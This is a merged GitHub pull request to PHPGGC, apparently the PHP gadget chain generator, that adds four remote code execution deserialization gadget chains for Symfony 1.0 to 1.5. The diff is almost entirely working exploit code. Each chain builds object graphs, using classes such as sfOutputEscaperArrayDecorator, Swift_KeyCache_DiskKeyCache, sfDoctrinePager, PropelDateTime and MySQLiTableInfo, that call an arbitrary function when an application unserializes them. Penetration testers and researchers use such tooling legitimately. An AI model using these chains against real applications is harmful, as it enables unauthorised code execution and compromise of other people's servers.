Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding Symfony 1.0 to 1.5 RCE gadget chains #182

Merged
merged 4 commits into from
Mar 13, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
26 changes: 26 additions & 0 deletions gadgetchains/Symfony/RCE/12/chain.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
<?php

namespace GadgetChain\Symfony;

class RCE12 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
public static $version = '1.3.0 <= 1.5.13~17';
public static $vector = '__destruct';
public static $author = 'darkpills';
public static $information = 'Works until 1.5.13, and until 1.5.17 if installed via git method (not composer)';

public function generate(array $parameters)
{
$cacheKey = "1";
$keys = new \sfOutputEscaperArrayDecorator($parameters['function'], array($cacheKey => $parameters['parameter']));

// a rmdir($path . '/' $cacheKey) will be done by Swift_KeyCache_DiskKeyCache::clearAll()
// so put something that will never exists to avoid issues
$path = "thispathshouldneverexists";
$cache = new \Swift_KeyCache_DiskKeyCache($keys, $path);

return $cache;
}


}
25 changes: 25 additions & 0 deletions gadgetchains/Symfony/RCE/12/gadgets.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
<?php

class Swift_KeyCache_DiskKeyCache
{
private $_path;

private $_keys = array();

public function __construct($keys, $path) {
$this->_keys = $keys;
$this->_path = $path;
}
}

class sfOutputEscaperArrayDecorator
{
protected $value;

protected $escapingMethod;

public function __construct($escapingMethod, $value) {
$this->escapingMethod = $escapingMethod;
$this->value = $value;
}
}
20 changes: 20 additions & 0 deletions gadgetchains/Symfony/RCE/13/chain.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
<?php

namespace GadgetChain\Symfony;

class RCE13 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
public static $version = '1.2.0 <= 1.2.12';
public static $vector = 'Serializable';
public static $author = 'darkpills';
public static $information = 'With sfDoctrinePlugin enabled';

public function generate(array $parameters)
{
$escaper = new \sfOutputEscaperArrayDecorator($parameters['function'], array($parameters['parameter']));

$pager = new \sfDoctrinePager($escaper);

return $pager;
}
}
32 changes: 32 additions & 0 deletions gadgetchains/Symfony/RCE/13/gadgets.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
<?php

class sfDoctrinePager implements Serializable
{
protected
$prop = null;

public function __construct($prop) {
$this->prop = $prop;
}

public function serialize()
{
return serialize($this->prop);
}

public function unserialize($serialized)
{
}
}

class sfOutputEscaperArrayDecorator
{
protected $value;

protected $escapingMethod;

public function __construct($escapingMethod, $value) {
$this->escapingMethod = $escapingMethod;
$this->value = $value;
}
}
20 changes: 20 additions & 0 deletions gadgetchains/Symfony/RCE/14/chain.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
<?php

namespace GadgetChain\Symfony;

class RCE14 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
public static $version = '1.2.0 <= 1.2.12';
public static $vector = '__wakeup';
public static $author = 'darkpills';
public static $information = 'With sfPropelPlugin enabled';

public function generate(array $parameters)
{
$escaper = new \sfOutputEscaperObjectDecorator($parameters['function'], new \sfCultureInfo($parameters['parameter']));

$date = new \PropelDateTime(null, $escaper);

return $date;
}
}
42 changes: 42 additions & 0 deletions gadgetchains/Symfony/RCE/14/gadgets.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
<?php
class PropelDateTime extends DateTime
{
private $dateString;

private $tzString;

public function __construct($dateString, $tzString) {
$this->dateString = $dateString;
$this->tzString = $tzString;
}
}


class sfOutputEscaperObjectDecorator
{
protected $value;

protected $escapingMethod;

public function __construct($escapingMethod, $value) {
$this->escapingMethod = $escapingMethod;
$this->value = $value;
}
}

class sfCultureInfo
{
protected $dataFileExt = '.dat';
protected $data = array();
protected $culture;
protected $dataDir;
protected $dataFiles = array();
protected $dateTimeFormat;
protected $numberFormat;
protected $properties = array();

public function __construct($culture) {
$this->culture = $culture;
}

}
20 changes: 20 additions & 0 deletions gadgetchains/Symfony/RCE/15/chain.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
<?php

namespace GadgetChain\Symfony;

class RCE15 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
public static $version = '1.0.0 <= 1.1.9';
public static $vector = '__wakeup';
public static $author = 'darkpills';
public static $information = 'With Creole ORM';

public function generate(array $parameters)
{
$escaper = new \sfOutputEscaperArrayDecorator($parameters['function'], array($parameters['parameter']));

$tableInfo = new \MySQLiTableInfo($escaper);

return $tableInfo;
}
}
38 changes: 38 additions & 0 deletions gadgetchains/Symfony/RCE/15/gadgets.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
<?php

class sfOutputEscaperArrayDecorator
{
protected $value;

protected $escapingMethod;

public function __construct($escapingMethod, $value) {
$this->escapingMethod = $escapingMethod;
$this->value = $value;
}
}

class MySQLiTableInfo
{

protected $name;
protected $columns = array();
protected $foreignKeys = array();
protected $indexes = array();
protected $primaryKey;
protected $pkLoaded = false;
protected $fksLoaded = false;
protected $indexesLoaded = false;
protected $colsLoaded = false;
protected $vendorLoaded = false;
protected $vendorSpecificInfo = array();
protected $conn;
protected $database;
protected $dblink;
protected $dbname;

public function __construct($columns)
{
$this->columns = $columns;
}
}